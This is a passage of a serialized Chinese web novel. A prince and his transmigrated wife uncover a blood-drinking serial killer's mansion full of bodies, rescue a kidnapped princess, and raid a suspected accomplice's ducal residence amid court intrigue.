楚御礼深深地看着姜黎婳,他最近总觉得自己的妻子像是一
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个谜团,她身上好像有什么难以启齿的秘密,很难对他诉说一般。
想到姜黎婳上一次莫名其妙的晕倒,又想到她说的做过的那个梦,楚御礼放弃了现在要她说出真相的想法。
“我们去城南红山搜查,你先回去休息?”
姜黎婳摇头,“我想跟你一起去。”
若是真的抓住了幕后凶手,她想替原主报仇,毕竟那些人才是真正杀死原主的人!
“我们现在根本不清楚对方的底细,对方手中还有**,可见他的势力非同一般,你跟着一起过去,我怕你遇险。”楚御礼目光沉沉的看着姜黎婳,“听话。”
“楚御礼,你让我去吧。”姜黎婳拉着楚御礼的衣袖,“你知道我射箭的能力的,我不会拖你后腿的。”
......
南郊三十里外红山脚下宽大的宅院外,楚御礼带数百御林军和锦衣卫直接把宅院围住了。
这宅院虽然建造在南山下,但是却依山傍水,占据面具也很大,光看面积比京城中王爷的府邸都要宽大,红墙黑瓦,好不巍峨。
楚御礼抬手朝身后的御林军和锦衣卫比了一个手势,所有御林军和锦衣卫直接破门而入闯了进去。
很快宽大的宅院中传来了嘶吼尖叫的声音。
楚御礼带着姜黎婳走了进去,看到身穿白色纱衣的男人画着妖冶的妆容,还有身上伤痕累累的年轻女子,他脸色顿沉,大步朝着内院走去。
早就带着御林军闯进去的昭临这时候疾步从院内走了出来,“主子,找到六公主了,因为失血过多,在屋中昏迷着。”
楚御礼猛地回头看了姜黎婳一眼,姜黎婳对他点头,他大步朝着内院走去,姜黎婳也跟了上去。
看到楚明月手腕上的伤痕,楚御礼的狠狠地捏在了一起,还好他相信了他娘子的话,没有过多犹豫,否则他这个皇妹怕是就要被人放干血了!
姜黎婳此时也顾不得旁人的眼光了,她从袖子中拿出纱布和金疮药给楚明月手腕上药包扎,一边对楚御礼道,“王爷,让人仔细搜查,把这个宅子翻个底朝天吧,应该可以找到一些线索的。”
第172章 想喝我血的是个女人
楚御礼弯腰抱起晕倒的楚明月站起身,对着昭临道:“听王妃的。”
小半个时辰后。
“王爷,我们在那芍药园子中找到了不少尸骨,甚至有未曾腐烂的尸身,还有我们在地下的一个冰窖中找到了鲜血。”御林军中的一个小队长苍白着一张脸跪在楚御礼面前,他现在想到自己先前看到的画面都忍不住觉得恶心,究竟是什么样的恶魔,竟然以人血为饮,以**为乐啊!
楚御礼猛地看向一旁脸色不好的姜黎婳,见姜黎婳听到那话之后脸色变得苍白,他忍不住走过去搂着姜黎婳,让她靠在自己怀中,姜黎婳死死的揪住楚御礼的衣袖,声音沙哑,“楚御礼,你答应我,你一定要抓住那个幕后凶手,为那些死去的少女报仇。”
楚御礼轻轻地拍着姜黎婳的肩膀安抚着应了一声,然后看向那个小队长,“所有人全部带回刑部,本王亲自查问。”
小队长垂首应是,转身往院内走去。
这时候被安置在楚御礼让人找来的马车中的楚明月醒了,她尖叫着从马车上跑了下来,“别杀我,你们别杀我!”
“明月!”楚御礼松开姜黎婳一把拽住了要摔倒的楚明月,沉声道,“别怕,我是皇兄。”
被拽住没有摔下去的楚明月怔怔的抬头看向楚御礼,接着眼泪从眼眶里面落了出来,她一下扑进楚御礼的怀中,哭着道:“皇兄,明月害怕!”
不习惯除了自家娘子以外的人抱的楚御礼愣愣的抬着自己的双手,有些无助的看向自家娘子。
姜黎婳对他抬了抬下巴,示意他安抚一下楚明月。
楚御礼垂眸看了抱着自己还在发抖的楚明月,好一会儿了他才下定决心一般的放下手在楚明月背上拍了拍,语气有些僵硬的安抚道,“没事了,别哭了。”
楚明月哭得不能自已,她在楚御礼怀中摇头,“他们要杀了我,还要喝我的血,他们说我的血丝香甜的!”
“以后没人敢喝你的血了。”楚御礼轻轻地把楚明月从自己的怀中推出来,“我派人护送你回皇宫,皇兄还要查案。”
楚明月不放心地摇头,“我想和皇兄待在一起。”
楚御礼眉头皱了起来,语气也冷了,“你若继续和我在一起,我忙起来顾不上你,你要是再有个三长两短就是你自找的了。”
楚明月闻言哇的一声又哭了出来。
姜黎婳实在是无语,这人怎么这么没有耐心,面对一个十三岁的小姑娘,他就不能稍微有一点耐心吗?
她上前拉着楚明月的手低声道:“明月,你皇兄还要查案,你若害怕的话,皇嫂和侍卫一同与你回宫如何?”
楚明月这才发现一旁还站着姜黎婳,她想到昨天沈归雁失踪是皇嫂带着人找到的,她委屈地抬手擦了擦眼泪,看着姜黎婳,“皇嫂,是你带着皇兄找到我的吗?”
姜黎婳抿了抿嘴,“算是吧?”
楚明月立刻松开楚御礼的手转身抱着姜黎婳的胳膊,“皇嫂幸亏有你在,不然我可能就要**!”
“你不会死的,你瞧,你皇兄不是在那些人得逞之前找到你了吗?”姜黎婳拍了拍楚明月的手,心想还好楚御礼治好了自己,否则今天这楚明月恐怕要伤心好几次了。
连着被两个自己信任的人拒绝,心里应该会留下阴影吧?
这时候昭临从宅子中走了出来,他脸色苍白的在楚御礼面前跪下,沉声道:“殿下,我们在这宅子中一共找到了七十五具尸骨,还在宅子后面的林中挖出六十七具尸骨,这些尸骨当中,还有三具尸体是还未腐烂的。”
“畜生!”姜黎婳双手死死地捏在一起,红着眼骂了一句,“那个人一定会不得好死的!”
楚明月更是被这个数字吓了一跳,原来那个食人魔都已经吃掉了那么多人了吗?
因为城外没有人可以吃了,所以她把主意打到宫中的公主身上了?
那个人这么厉害的吗?
“那个女人会不会还要来吃我?”楚明月缩了缩头往姜黎婳怀中躲了躲。
姜黎婳和楚御礼几乎是立刻看向她,两人异口同声,“女人?”
楚明月迷迷糊糊地点头,“我迷迷糊糊中听到掳走我的那个人喊
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一个人主人,然后一个女人就说这次的血倒是不错,她总算可以不用再喝那些低贱的血液了,王孙贵族的血应该很香甜。”
“你看清楚她长什么样了吗?”楚御礼急声问。
楚明月摇头,“隔着纱帘,我没有看清楚那个女人的样子,但是她应该很漂亮很年轻。”
“很漂亮?”姜黎婳抬眸和楚御礼对视了一眼,“还很年轻?京中有哪家小姐时常出城吗?”
楚御礼摇头,“京城中消失的小姐不少,因为这个案件,如今很多小姐都不曾单独出门了。”
“主子,没有追到任何踪迹。”带着人去追查的冽风这时候回来了。
楚御礼嗯了一声,看向姜黎婳,“你先带明月回去,我再带人追查一番。”
姜黎婳颔首,她拉着楚明月,看向他,“注意安全。”
姜黎婳带着楚明月上了马车,刚走没一会儿,沉鹤就大步朝楚御礼走了过来,“殿下,属下查到了那些**的去向了。”
他把手中的单子递给楚御礼,“三个月前镇国侯所处的蜀西军申请了一批**,两个月前永宁伯的关西军申请了一批**,一个半月前定安伯世子所在的镇南军中也申请了一批**。”
“镇南军?”楚御礼把目光停留在镇南军申请的三百**上面,眉头微蹙,“我记得镇南军是在江南节度使赵忠的麾下,这定安伯世子怎么会越过江南节度使直接向朝廷申请**?”
楚御礼把单子递给沉鹤,眼神沉静,“派人去江南走一趟,亲自问问江南节度使,这件事情不可让外人知道,明白了吗?”
沉鹤立刻明白了楚御礼的意思,他颔首,“属下亲自去办。”
楚御礼嗯了一声,“以最快的时间回来。”
沉鹤应是,然后大步离开。
此时城外一座客栈内。
肌肤雪白,容貌倾城的女人眼底闪过凶光,她坐在临窗那有些老旧的太师椅上,抬脚踩着跪在地上那个蒙面人的肩膀上,语气阴冷,“这点小事都办不好,竟然还把尾巴带了回来,我要怎么处罚你才好?”
第173章 惩罚你的背叛
跪在地上的男人感受到肩膀上尖锐的疼痛,他不敢吭一声,只能咬着牙齿承受了下去。
女人瞧着他那一副忍辱负重的模样,冷哼,“我的美容液肯定都被毁了,你说接下来我该喝什么?”
她弯腰一把捏着男人的下巴抬起他的头,嘴角勾起一抹恶劣的笑容,“听说你有一个八岁的女儿啊?你带回来的尾巴毁了我的美容液,你是不是要用你的女儿来补偿我?”
男人心头一跳,眼睛骤然变得猩红,他猛地磕头,“那个贱婢的身上流淌着我们这些奴隶的血,血液都是脏的,怎么能让她的血脏了主人您的嘴呢!奴才一定帮主人您找到令您满意的血液,求主人放过那个贱婢一条命!”
“狗奴才,你记住你的命是我的,你家人的命也是我的,你以为你背着我与那些小贱人生下野种,我会不知道吗?”女人揪起男人的头发逼着对方直视自己,她如仙子般的脸上闪过一丝疯狂,她挑眉,“我就想喝你女儿的血,今夜你把新鲜的血液送到我那儿去,否则你知道后果的。”
女人说完松开男人的头发,抬步朝着客房外走去。
跪在地上的蒙面男人猛地站起来提着匕首朝女人大步走去,就在他的匕首要刺入女人背心的那一瞬间,一支箭射穿了他的心脏。
女人回头轻蔑的看着栽倒在地上的男人,眉梢微挑,“就你还想杀了我?上次想杀了我的人已经被我挫骨扬灰了。”
她抬起脚用自己漂亮的绣花鞋踩着男人胸口流血的位置,粉色的绣花鞋染上了妖冶的鲜血瞬间变得通红,她嘴角翘起一抹浅浅的弧度,“原本只想让你去放点你女儿的血来给我喝,但是你却想杀了我,为了惩罚你的背叛,今夜我会让人杀了你女儿,把她的血都存起来,我慢慢喝,八岁小姑娘的血液,即便是低贱的奴隶,味道应该也不会差到哪儿去。”
黑衣男人躺在地上听到女人的话,双目开始流血,他抬着手指指着女人,嘶声道:“恶魔!你这个恶魔!你会不会得好死的!你一定会被五马分尸!”
“在考虑我的结局之前,你还是先想想你的女儿该怎么办吧。”女人的脚使劲在他的伤口上拧了一下,这才抬步翩翩离开。
男人看着女人离开的背影,双手无力的抱着自己的头无声地吼了出来。
他替她做了那么多恶事,最后轮到这个下场也是报应!
“报应!你们都会遭到报应的!”男人笑着嘶吼出声,“我的下场,也会成为你们的...下场!”
定国公府。
萧景宴听了萧达的禀报,直接把桌上的东西扫落在地,他脸色因为惊吓有些苍白,神情也有些紧张,“她疯了吗?公主的血她都敢喝?”
萧达垂着头没有说话。
萧景宴在原地来回踱步了片刻,沉声问萧达,“楚御礼他们去宅子找到了什么?”
“一百多具尸体,其他的都没找到。”萧达眉头微微皱起来,他看着萧景宴紧张的模样,忍不住问了一句,“世子,咱们要不要把井中那些东西处理了?”
萧景宴眼神骤然变得凌厉起来,他一把揪住萧达,厉声道:“现在这个风口浪尖上处理那些尸体,若是被抓到了怎么办?”
他说罢松开萧达的领口,深深地吸了口气,道:“现在我们唯一能做的就是保持以往,什么都不要做,现在做得越多,就越惹人怀疑。”
萧达沉着脸点头,“还是世子您考虑得周到。”
萧景宴又在书房里面来回踱步了好几次,好一会儿了才停下脚步,冷声问,“我爹呢?还没回来?”
他话音刚落下,书房的门就被人用大力推开了,萧剑仁走进屋内看了萧达一眼,萧达识趣地快步走了出去。
萧剑仁等萧达把书房的门带上后,抬手就是一巴掌落在萧景宴身上,“当初我是不是告诉过你不要做得太过!如今公主都敢动了!你可知道若是皇上查到我们萧家头上,萧氏一族整个都完了!”
“可那个女人也不是省油的灯!”萧景宴捂着脸,不服气地看向萧剑仁,脸色阴沉,“她连自己的丈夫和孩子都可以杀了,我们若是被她恨上,早就灭门了!”
萧剑仁双手死死的捏在一起,“与虎谋皮,当初我怎么就鬼迷心窍听了你的话,如今好了,那个女人彻底疯了,我们萧家也和她绑在一起,根本扯不开!”
“现在唯一的办法就是杀了楚御礼。”萧景宴的手死死地内在一起,眼底闪过一丝狠厉的光芒,“杀了楚御礼,一切就迎刃而解了,皇帝没了嫡子,楚明暄已经废了,楚巍澜是个没用的,剩下那个就能成为我们的傀儡,等那个女人完全控制了皇宫,那我们萧家在朝堂就可以一手遮天了!”
萧剑仁原本阴沉的脸缓和了几分,他深深地看了萧景宴一眼,眉梢微挑,“若真的那样,我们萧家为何不能取而代之?”
萧剑仁嘴角一勾,“我们萧家为何要匍匐在一个女人脚下讨口?”
“爹,我们手上没有兵权。”萧景宴凉凉地睨了萧剑仁一眼,“那个女人手上至少有十万兵马,你觉得我们是她的对手吗?”
“她竟养了那么多兵马?”萧剑仁双手死死的握住,脸上全是愤恨,“若不是先帝过河拆桥,在你皇祖父帮他对付了那些世族之后就收回了国公府的兵权,如今我们萧家也不至于这么被动,更不至于与虎谋皮!”
萧景宴看了萧剑仁一眼,眉梢微动,“现在不是说这个的时候,我得去安排,趁着楚御礼还未查出什么的时候,把人给...”
他做了个抹脖子的动作。
萧剑仁颔首,“你劝劝她,这些日子正在风口浪尖上,让她别那么猖狂!”
“她已经等不及了,若我再处理不好这次的事情,我们萧家可能就要成为弃子了。”萧景宴侧首深深地看着萧剑仁,“她已经动了宫中的棋子,已经是在给我们警告了。”
城外。
楚御礼看着一众护卫护着的一顶素轿,目光扫过轿子外面的府徽,他眉梢微挑,往前走了几步,站在轿子前面朝轿子拱手,“姑姑怎么想起下山了。”
轿子在楚御礼面前停下,一只素手掀开帘子,一个身穿青衣的中年女人从轿中走了出来,看到楚御礼,她那上了年纪依旧柔美婉约的面上露出笑容,“御儿,你怎么在这儿?”
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第174章 恶魔与天使
楚御礼瞧着如今甚少在人前露面的佳宁公主,眼底闪过一丝温和的笑意,“父皇命我查一桩案子,现在刚查了案打算回京。”
佳宁公主闻言笑了,她伸手拉着楚御礼的手拍了拍,轻声道:“你身子大好的事情我也有所耳闻,如今你的病好了,你父皇的心病也总算是好了,姑母也替你感到高兴,瞧着你如今身子健康的模样,也不枉姑母这些年在寺庙为你烧香拜佛了。”
“多谢姑母挂怀。”楚御礼看了一眼佳宁公主拉着自己的手,嘴角微微勾起一抹浅浅的弧度,“姑母既然要回京,不如一路?”
“不了,我前些日子让人在东城的贫民巷中施粥,正好我现在下山了,想过去亲自看看,你公务繁忙,就不必陪我了。”
楚御礼抽回自己的手,轻轻颔首,“如此那侄儿改日再登公主府看望姑母。”
“你去忙吧。”佳宁公主笑容慈祥,“不过公务再繁忙,也要记得照顾好自己的身体,别仗着年轻就什么都不管不顾的。”
楚御礼笑着应了声是,转身往自己的马儿走去,只是他还没走几步,佳宁公主忽然喊住他,楚御礼回头,佳宁公主对他道:“你娶妻的时候姑母也不在,下次来看望姑母记得把你的王妃带上。”
楚御礼点头应了声是,翻身上马,带着一众人往京城的方向而去。
昭临跟在楚御礼伸手不愿,走了一截路之后,他回头看了一眼还站在轿边往他们这边看的佳宁公主,轻声道:“佳宁公主真是善良,自从驸马和小县主他们一家葬身火海之后,佳宁公主就一直住在山上的寺庙中静修祈福,每年一有个天灾或者人祸,有难民逃进京城她也会安排人四处施粥,这种不求回报的善人,世间少有。”
楚御礼听昭临这么说,眉头微微皱了起来,他偏头看了昭临一眼,语气微沉,“年年都施粥?”
“是啊,夏天若是有地方遭遇水患,她会施粥,还会捐款,冬天若是有雪灾的话,她会施粥然后捐献棉衣,让那些难民渡过难关,是真正的大善人。”昭临这么说的时候眼中闪过一丝佩服,“一个女子能做到如此的大义,即便是皇室中人也实在是令人敬佩啊。”
楚御礼回头看向正要进轿子的佳宁公主,捏着缰绳的手微微握紧了。
他以为姑母只是对他们这些侄儿侄女和颜悦色,原来她竟然如此有大爱?
这倒是和那个只会喝人血的恶魔简直是天差地别了!
想到那个宅子里面翻出来的尸体数量,楚御礼勒着缰绳使劲地一甩,他一定要把那个喝人血的恶魔给揪出来的!
一个时辰后。
皇宫,金銮大殿。
皇帝听到楚御礼的汇报,气得直接把桌案上的奏折全都掀落在地上,厉声呵斥道:“传顺天府尹!”
顺天府尹匆匆赶来的时候,大殿上的气氛异常低沉严肃,就连冯丞相都沉着脸没有说话。
崔国书在地上跪下,正要给皇帝行礼问安,就被皇帝一个奏折打在了头上,“京城内外失踪了一百多个少女,你竟然一点都没有察觉,顺天府到底接到多少少女失踪的报案?”
皇帝气得双手发抖,天子脚下,竟然有如此恶魔,明目张胆的绑架少女吸食人血,如今还把目光盯上了他的皇宫!这简直就是对他这个皇帝赤裸裸的挑衅!
崔国书抬手擦了擦额头,“回禀陛下,顺天府接到少女失踪案的报案就是上次臣上报给刑部的那些卷宗上的人数。”
皇帝蹙眉,“怎么可能才这么点?”
“陛下啊!”这时候一个官员从人群中站出来跪在了地上,“陛下,其实老臣的孙女也在一年前就失踪了,但是为了家中儿孙们的名誉,臣家中只能声称孙女病重在家养病,其实臣的孙女,已经失踪一年多了啊!”
那臣子说着抬手擦了擦眼泪,“都是臣猪油蒙了心,为了那虚无的名声,害了孙女的命啊!”
随着那个臣子站出来,另外有好几个臣子都站出来跪在了地上,皆是不是孙女失踪,就是侄女失踪或者女儿失踪的。
皇帝瞧着下面乌泱泱跪在地上的人,只觉得头痛,他拂袖从龙椅上站起来,厉声呵斥,“愚蠢!你们一个个都愚蠢!家人失踪不报官!竟然还绑着隐瞒!那个凶手如今这么猖狂,都是你们助纣为虐!你们简直活该!”
“臣等知错了,还请陛下下令彻查此事,定要换那些孩子一个公道啊!”跪在地上的臣子们哭着喊道。
楚御礼目光扫过那些跪在地上的臣子们,最后拱手对皇帝道,“父皇,儿臣认为,这么多尸身肯定不只是京城的少女,一定还有其他地方的少女,儿臣想父皇任命钦差大臣,前往楚国各地探查少女失踪案。”
皇帝现在还在为那一百多具尸体揪心,听到楚御礼这么说,他沉着脸颔首,“此案就全权交由你来探查,你拿着朕的令牌,如朕亲临,楚国各地官员任你调配,必须陪你探查此案的真相。”
楚御礼直接跪了下去,“儿臣遵命。”
皇帝心情不好,直接散朝,然后把楚御礼单独翻到了御书房。
御书房中。
皇帝目光沉沉地看着楚御礼,“你是如何找到那座宅子的?又是如何怀疑那座宅子有问题的?”
楚御礼手指微曲,想到姜黎婳问他信不信她的话,他眉头微蹙,他相信自己的娘子,但父皇不一定相信。
若让父皇知道那个宅子是她找到的,那定然会怀疑她的。
想到这里,楚御礼低声道:“儿臣的手下昨夜在追踪杀手的时候,跟着追到了城外,在红山脚下的时候,那些人就不见了,他在返回途中看到了那座宽大的宅子,红山偏僻,但那个地方却有一处巍峨的宅子,实在是令人起疑,他便进去查探了一番,进去之后他闻到了血腥味,便觉得那处宅子不对劲。”
皇帝闻言脸色稍缓,“于是你们就决定前去查探一番?”
“儿臣也实在是没有头绪,所以就打算去碰碰运气,若是误闯了百姓的家,儿臣定然会郑重道歉,但是谁知道...”他眼神低沉,语气冰冷,“谁知道竟然让儿臣端了那恶魔的老窝!”
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第175章 你相信前世今生吗
御王府。
姜黎婳有些无奈的看着非要跟着自己回家的楚明月,低声劝道,“丽嫔娘娘已经派人来了好几趟了,你真的不想回宫?”
以往都只是陪着楚明珠才跟在姜黎婳身边的楚明月此时双手死死的揪着姜黎婳的衣袖,她摇头,“皇宫一点都不安全,宫中有巡逻的侍卫,但是我还是在睡梦中被人掳走了,而且那个刺客半夜在宫门落钥和城门关闭的情况下把我掳出城,还放我的血,宫中一点都不安全!”
说到这里她双眼通红的抬头看着姜黎婳,“大皇嫂,皇宫中一定有内奸,城门处也一定有内应,你不要让我再回皇宫好不好?要是那些人今夜再把我掳走了怎么办?”
这时候坐在姜黎婳另一边的沈归雁也跟着点头,“师...是啊,御王妃,反正如今王爷要在外查案,您一个人在府上也无聊,不如让我们留在府上住下,也好和你做个伴啊。”
姜黎婳有些头疼的伸手揉了揉眉心,她真的是出于好心才想去救她们两人的,是怎么都没想到她们会缠上自己啊。
她还想着帮楚御礼找出幕后真凶呢!
那个恶魔杀了那么多人,她就算是冒着暴露的风险,也想要把那个人抓出来!
“大皇嫂...”
“御王妃殿下...”
两人异口同声喊姜黎婳,一起拉着姜黎婳的左右手摇了摇,“你就让我们留下来陪你吧,好不好?”
姜黎婳被两人吵得有些头疼,从两人手中抽回自己的手,她有些无奈的点头,“行,但是我不能每时每刻都陪着你们,知道了吗?”
“我们保证不出这个院子半步,乖乖地很听话。”沈归雁举起手大声说道。
楚明月也立刻点头,“对。”
两人说完相视眨了眨眼睛,然后看向姜黎婳,“我们一定不会给你找麻烦的。”
“罢了罢了,你们先住下吧,宫中和太傅府那边,我让人去说。”
这时候知夏走了进来,“王妃,王爷回来了,请您去一趟书房。”
姜黎婳一怔,看来还是躲不掉被他追问啊,她颔首,“我知道了。”
书房。
姜黎婳推开门走进去,刚换了一身玄色衣袍的楚御礼回头朝她看来,“过来了?”
姜黎婳抿着嘴点头,过来的路上她已经想了无数个说辞了,但是她知道,没有一个说辞是能说服他的。
除非他无脑的相信她说的任何话。
看到姜黎婳紧张的模样,楚御礼在心头叹了口气,他走到姜黎婳面前轻轻地拍了拍姜黎婳的头发,“父皇任命我全权探查此案,所以接下来我会很忙,一百多具尸体,定然不只是京城有受害人,接下来我可能还得出京,去楚国各地探查,我一定要找出凶手。”
“你要出京?”姜黎婳有些着急地抬头看着楚御礼,急声道:“你不能出京,那罪犯就是京城的人!你即便是出京也只是多找到几个受害人,根本抓不到凶手!”
楚御礼眼睛一眯,他拉着姜黎婳的手臂,低声问,“婳儿,告诉为夫,你为何知道?”
姜黎婳的手不自觉的收拢,眼神闪躲,她真的要告诉她,自己是如何知道的吗?
让他知道他只是一本书里面的角色?
这是不是有些残忍?
看出姜黎婳眼底的闪躲,楚御礼抓住她的手稍稍用力,他语气低沉,“你不想说是吗?”
姜黎婳闭上了眼睛,她轻轻摇头,“我没有不愿意说,若是我不想说的话,我一开始就不会说。”
她咬了咬嘴唇,最终抬头看着楚御礼,低声问,“王爷,你相信前世今生吗?”
楚御礼眉头微蹙,眼神阴沉了几分,“什么意思?”
“其实我是重活过一次的人。”姜黎婳轻轻地说。
楚御礼瞳孔骤缩,接着他厉声呵道:“冽风,你们守着书房周围,不准任何人靠近,不准任何人听到本王和王妃的谈话!”
外面响起冽风的回应。
片刻之后楚御礼拉着姜黎婳走到红木椅上坐下,眼神不可置信,“婳儿,你把话说清楚。”
见楚御礼的反应姜黎婳就知道,楚御礼已经相信了自己的说辞,她抬眸看着他,低声问,“你相信我?”
“你说说你的前世经历了什么。”楚御礼捏着姜黎婳的手越发用力了,好像是自己一松开她,她就会消失那样。
他总觉得心头有些不安。
姜黎婳隐瞒了自己穿书的事情,把原主上一世所经历的事情说了一遍,然后套上自己穿越过来之后所经历的事情,把自己的谎言给圆了过去。
“我原本以为即便重来一世无法改变旁人的命运,也要学会自保,谁知苏清欢竟然提出了换婚,接下来的,王爷你都知道了。”
“所以你也不知道那个幕后凶手究竟是谁,只知道萧景宴也为她所用。”
姜黎婳轻轻点头,“我撞破那个院子中那口枯井的真相之后,就被杀死了,从那口枯井的尸骨数量来看,我可以肯定,萧景宴绝对很受那个人的信任,王爷若是要查,何不把定国公府直接端了。”
这章没有结束,请点击下一页继续阅读!“现在没有任何证据指向定国公府,我虽然有父皇的令牌,但是却不能贸然带兵搜查公爵府邸。”楚御礼眉头微蹙。
“那就制造证据。”姜黎婳抬眸看着楚御礼,“王爷,我们的时间并不充裕,而且已经打草惊蛇了。”
楚御礼整个人一顿,他真的无法把眼前的娘子当成她口中那个为了母亲的关爱委曲求全的女子放在一起相提并论。
她口中前世的自己并没有她现在的魄力。
一个人难道重活了一世,就完全变了样了吗?
“我们要如何做?”楚御礼深深地看着姜黎婳,“你觉得我们要怎么制造证据。”
“杀手,而冽风他们追着杀手闯进了定国公府。”姜黎婳抬眸看着楚御礼,眼神坚定,“定国公府落网的话,那个幕后之人定然坐不住,会主动露面的!”
楚御礼听着她坚定的话,嘴角勾起一抹浅淡的弧度,眼底也尽是无奈,他捏着她的手指,摇头低笑,“我真不该说你是胆大,还是该说你有魄力了。”
姜黎婳瞧他现在还有心思开玩笑,反手捏了捏他的手指,低声道:“我说认真的。”
“那倒是不必我们安排杀手,既然我们已经端了那恶魔的老巢,今夜定然有杀手会上门的。”楚御礼眼睛微眯,脸上是志在必得,“只要他们今夜敢上门,我就让他们有来无回。”
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第176章 搜查定国公府
是夜。
月色被天空密布的乌云遮得严严实实,加之秋风瑟瑟,给这个秋夜强加了几分寂寥,而京城的人因为白日御王殿下从城外挖出一百多具尸体的事情传出,不少家中走失了女儿的人都跪在街边为女儿烧香烧纸,他们的哭声在这个秋夜中也显得异常的尖锐。
三更天的更鼓响起,街道恢复了安静,那些烧纸的光影也几乎全都消失,这时候无数黑影从暗处往御王府涌去。
御王府书房中,姜黎婳立在楚御礼身边看着院中摇晃的桂花树,成熟的金桂在风中摇曳,花朵漱漱落下把它的脚下铺垫成了金黄色,随着时间慢慢地推移,姜黎婳的心忍不住提了起来。
她偏头看着站在自己身边不知道在想什么的楚御礼,低声问,“王爷,你在想什么?”
楚御礼伸手握住她的手,低声道:“婳儿,你之所以迟迟不愿意接受为夫,就是因为前世所受的伤害吗?你还怕我对你不好?”
姜黎婳:“......”
她偏头有些无语地看向楚御礼,这么紧张的时刻,你在想这些?
不过姜黎婳的思绪倒是的确随着他这句话转移了,她想着自己的病,倒也是因为前世所受的伤害,才会对所有人都抗拒,特别是抗拒男人接触。
“以前是,但是王爷你不是治愈我了吗?”姜黎婳伸手拉着他,“以前的事情都过去了,如今我觉得能陪在王爷的身边,我很满足。”
楚御礼正要说话,这时候冽风落在了院中,沉声道:“王爷,有杀手朝着王府过来了,目测三十人左右。”
楚御礼应了一声,“都安排妥当了?”
“已经安排妥当了。”冽风说罢悄无声息地消失了。
姜黎婳深深地吸了口气,楚御礼伸手捏住她的手,轻笑着问,“怕不怕?”
姜黎婳轻轻摇头,“不怕。”
楚御礼拍了拍她头发,拉着她走到红木椅上坐下,“那接下来我们就看戏吧。”
藏在暗处的沉鹤有些不解地看着明明很紧张却非要和王爷在一起的王妃,问暗处的沉鹤,“你说王妃为什么和公主还有沈小姐一同去地窖躲着?”
沉鹤朝着冽风翻了一个白眼,“所以你娶不到媳妇儿,咱们王妃是那种贪生怕死的人吗?你忘了上次猎场咱们王妃两次在关键时刻救下王爷了?”
“可这次不是儿戏。”冽风眉头微蹙,“王爷也是,为什么偏偏要以身犯险,明明在那些人进入王府我们就可以把他们一网打尽的!”
“王爷自有他的考量。”沉鹤眉头微蹙,“我们都是王爷暗地里的势力,若让陛下知道我们的存在,你觉得他会不会怀疑咱们王爷怀有二心?”
书房中,姜黎婳端起茶杯正要喝茶,一抹亮光从她的茶杯中一闪而过,她偏头看向楚御礼,声音低不可闻,“来了。”
她的话音刚落下,院中就响起厮杀声,楚御礼听着刀剑相拼的声音,慢条斯理地端着茶水喝了一口,把茶杯放回茶几上后,他走到灯柱下打开火折子点亮了烛灯。
烛光亮起,照亮了身穿红衣的姜黎婳,回眸从窗户看着外面与那些刺客厮杀的府兵暗卫。
楚御礼瞧着与之厮杀在一起的暗卫们,眼底闪过一丝肃杀,他走到窗边与姜黎婳并肩而立,“一个不留。”
正束手束脚的沉鹤和冽风还有昭临等人闻言立刻大展拳脚了起来。
半个时辰后。
楚御礼捂着手上的手臂,带着府兵追出王府,厉声吼道:“追!”
身上挂彩的昭临和青砚立刻扬声喊道:“有刺客!追!”
那些随时在御王府门外待命的御林军闻言立刻朝着御王府涌了过来,看到楚御礼手臂受伤,那个负责跟着楚御礼查案的小队长立刻冲了过来,“末将救驾来迟,请王爷责罚!”
楚御礼看了他一眼,沉声道:“先追刺客!”
楚御礼说罢也顾不得手上的伤势,翻身上马跟着府兵朝着一个方向追了过去。
一刻钟后,青砚等人停在了定国公府门外,楚御礼骑着马慢慢地走过去,昭临转身朝楚御礼走来,“禀告王爷,那刺客进了定国公府!”
楚御礼盯着定国公府的门匾,眼底闪过一丝冷光,他沉声道:“敲门!”
御林军小队长闻言忍不住回头看了一眼锦衣卫的副指挥使,“朱大人,这可是定国公府,真的要闯进去啊?”
朱晓千面无表情地看了那个小队长一眼,冷声道:“陛下要求我们听从王爷的调遣,王爷让我们闯,我们自然就闯。”
不到一刻钟的功夫,定国公府的大门打开,萧剑仁和萧景宴父子二人穿戴不齐地站在大门口拦住了楚御礼等人的去路。
萧景宴眼神冰冷的盯着站在门前一身肃杀的楚御礼。
萧剑仁的脸上虽然带着笑意,但是那笑容不达眼底,就连嘴角的弧度都相当勉强,他冲楚御礼行了一礼,低声道:“不知御王殿下深夜造访,所为何事?”
楚御礼冷冷地扫了他们父子二人一眼,语气冰冷,“今夜有刺客夜袭本王,追兵追着刺客到了定国公府就消失不见了,所以特来搜查!”
“荒谬!”萧剑仁脸色一沉,厉声道:“王爷,这种话可不能乱说!这街道上这么多府邸,您怎么就确定那刺客进了我们定国公府?”
“定国公这是不让本王搜查?”楚御礼眼睛一眯,目光沉沉的看着萧剑仁,“你是要包藏凶手吗?”
“王爷此言差矣。”萧景宴上前一步,他抬眸定定地看着楚御礼,“凡是要讲个真凭实据,若王爷只是空口胡言就想要搜查我们国公府,那今后我们国公府还如何在京城立足。”
“若王爷想要搜我们定国公府,还请拿出我们定国公府有罪的证据来,否则,我们就要认定王爷您是以公徇私,想要报复我们国公府。”
“报复?”楚御礼冷哼,“萧世子与本王无冤无仇,何来报复之说?本王奉劝萧世子一句,与其在这儿拖延时间,不如想想,被本王搜出凶手后,该如何向朝廷交代!”
“王爷!”萧景宴上前一步拦住楚御礼的去路,“在下知道,因为在下前夫人对王妃的所作所为,你们对我们定国公府怀恨在心,但是...”
“够了!”楚御礼拿出皇帝给他的那如朕亲临的令牌,面无表情道:“搜!”
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第177章 萧世子要去儿
萧剑仁和萧景宴看到楚御礼拿出那如朕亲临的令牌时两人皆是一愣,直到看到那些兵马涌入定国公府两人才回过神来,见楚御礼也要越过他们进府,萧景宴连忙上前一步拦住楚御礼,“御王殿下,即便是陛下亲临,想要搜查我们定国公府也得讲究人证物证吧?”
“人证物证?”楚御礼停下脚步,他睨着表情生硬的萧景宴,嘴角勾起一抹淡漠的弧度,“一会儿本王搜到了不就出来了吗?”
萧剑仁闻言心头一沉,楚御礼这摆明了就是告诉他们,他在怀疑他们,所以才会有这么一出的!
萧剑仁双手握紧成拳,他上前一步对楚御礼怒目而视,“御王殿下未免欺人太甚了!你可想过你今日进了我定国公府没有搜到那刺客的下落的后果?”
楚御礼瞧着萧剑仁那恨不得吃了自己的神情,眼底闪过一丝冷漠的神情,“若本王在定国公府什么都没有搜到,那本王就亲自向定国公请罪。”
“现在,还请定国公不要阻挡本王办案!”楚御礼说罢一手掀开挡着自己去路的萧景宴大步朝定国公府里面走去。
